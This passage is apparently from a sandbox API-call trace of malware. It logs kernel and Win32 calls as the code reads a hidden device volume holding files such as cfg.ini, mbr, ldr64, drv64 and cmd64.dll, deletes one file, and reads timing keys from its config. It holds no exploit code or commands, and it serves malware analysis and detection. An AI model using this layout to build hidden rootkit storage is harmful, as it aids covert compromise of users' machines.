ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.982] KeLeaveCriticalRegion () [0124.982] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.982] KeEnterCriticalRegion () [0124.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a03000 [0124.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.982] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.982] IdePortDispatch () returned 0x103 [0124.982] KeWaitForMutexObject () returned 0x0 [0124.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.982] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.982] IdePortDispatch () returned 0x103 [0124.982] KeWaitForMutexObject () returned 0x0 [0124.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.982] KeLeaveCriticalRegion () [0124.982] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.983] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.983] KeEnterCriticalRegion () [0124.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] KeLeaveCriticalRegion () [0124.983] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.983] KeEnterCriticalRegion () [0124.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.983] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] KeLeaveCriticalRegion () [0124.983] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.983] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.983] KeEnterCriticalRegion () [0124.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] ExFreePoolWithTag (P=0xfffffa8003bf4950, Tag=0x0) [0124.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] KeLeaveCriticalRegion () [0124.983] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.983] ReleaseMutex (hMutex=0xf0) returned 1 [0124.983] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.983] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.983] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.983] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.983] KeEnterCriticalRegion () [0124.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.984] IdePortDispatch () returned 0x103 [0124.984] KeWaitForMutexObject () returned 0x0 [0124.984] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.984] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.984] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.984] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.984] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.984] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.984] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.984] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.984] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.984] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.984] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.984] KeLeaveCriticalRegion () [0124.984] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.984] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.984] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.984] KeEnterCriticalRegion () [0124.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.984] IdePortDispatch () returned 0x103 [0124.985] KeWaitForMutexObject () returned 0x0 [0124.985] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.985] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.985] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.985] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.985] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.985] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.985] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.985] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.985] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.985] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.985] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.985] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.985] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.985] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.985] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.985] KeLeaveCriticalRegion () [0124.985] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.985] ReleaseMutex (hMutex=0x100) returned 1 [0124.985] Sleep (dwMilliseconds=0x2bf20) [0124.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6db1a050, dwHighDateTime=0x1d24fa4)) [0124.991] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.991] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.992] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.992] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.992] KeEnterCriticalRegion () [0124.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.992] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.992] IdePortDispatch () returned 0x103 [0124.992] KeWaitForMutexObject () returned 0x0 [0124.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.992] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.992] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.992] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.992] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.992] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf41b0 [0124.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.992] KeLeaveCriticalRegion () [0124.992] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.992] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.992] KeEnterCriticalRegion () [0124.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.992] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.992] KeLeaveCriticalRegion () [0124.992] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.992] KeEnterCriticalRegion () [0124.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.992] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.992] IdePortDispatch () returned 0x103 [0124.993] KeWaitForMutexObject () returned 0x0 [0124.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.993] KeLeaveCriticalRegion () [0124.993] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.993] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.993] KeEnterCriticalRegion () [0124.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b06000 [0124.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.993] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.993] IdePortDispatch () returned 0x103 [0124.993] KeWaitForMutexObject () returned 0x0 [0124.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.993] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.993] IdePortDispatch () returned 0x103 [0124.993] KeWaitForMutexObject () returned 0x0 [0124.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.993] KeLeaveCriticalRegion () [0124.993] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.994] KeEnterCriticalRegion () [0124.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] KeLeaveCriticalRegion () [0124.994] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.994] KeEnterCriticalRegion () [0124.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.994] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4270, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] KeLeaveCriticalRegion () [0124.994] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.994] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.994] KeEnterCriticalRegion () [0124.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] ExFreePoolWithTag (P=0xfffffa8003bf41b0, Tag=0x0) [0124.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.994] KeLeaveCriticalRegion () [0124.994] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.994] ReleaseMutex (hMutex=0xf0) returned 1 [0124.995] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.995] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.995] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.995] KeEnterCriticalRegion () [0124.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.995] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.995] IdePortDispatch () returned 0x103 [0124.995] KeWaitForMutexObject () returned 0x0 [0124.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.995] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.995] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.995] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.995] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.995] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.995] KeLeaveCriticalRegion () [0124.995] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.995] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.995] KeEnterCriticalRegion () [0124.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.995] KeLeaveCriticalRegion () [0124.995] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.995] KeEnterCriticalRegion () [0124.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.995] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.995] IdePortDispatch () returned 0x103 [0124.996] KeWaitForMutexObject () returned 0x0 [0124.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.996] KeLeaveCriticalRegion () [0124.996] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.996] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.996] KeEnterCriticalRegion () [0124.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b07000 [0124.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.996] IdePortDispatch () returned 0x103 [0124.996] KeWaitForMutexObject () returned 0x0 [0124.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.996] IdePortDispatch () returned 0x103 [0124.996] KeWaitForMutexObject () returned 0x0 [0124.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.996] KeLeaveCriticalRegion () [0124.997] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.997] KeEnterCriticalRegion () [0124.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] KeLeaveCriticalRegion () [0124.997] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.997] KeEnterCriticalRegion () [0124.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.997] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] KeLeaveCriticalRegion () [0124.997] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.997] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.997] KeEnterCriticalRegion () [0124.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.997] KeLeaveCriticalRegion () [0124.997] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.997] ReleaseMutex (hMutex=0xf0) returned 1 [0124.997] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.997] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.998] KeEnterCriticalRegion () [0124.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.998] 